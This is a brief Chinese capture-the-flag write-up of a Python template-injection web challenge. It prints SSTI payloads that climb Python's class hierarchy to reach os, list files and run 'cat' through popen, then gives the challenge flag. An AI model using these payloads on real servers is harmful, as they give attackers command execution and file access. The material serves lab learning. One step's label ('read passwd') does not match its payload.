CTF(capture the flag)

攻防世界(进阶)--WEB--7.Web_python_temp

2020-02-14  本文已影响0人  Du1in9

考察点:模板注入

1.模板检测:{{7+7}}

7+7=14,确实是模板注入

2.查看服务器配置信息:{{''.__class__.__mro__[2].__subclasses__()}}

3.读取passwd信息:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

发现2个文件:'fl4g', 'index.py'

4.打开'fl4g':{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat fl4g').read()}}

得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

上一篇下一篇

猜你喜欢

热点阅读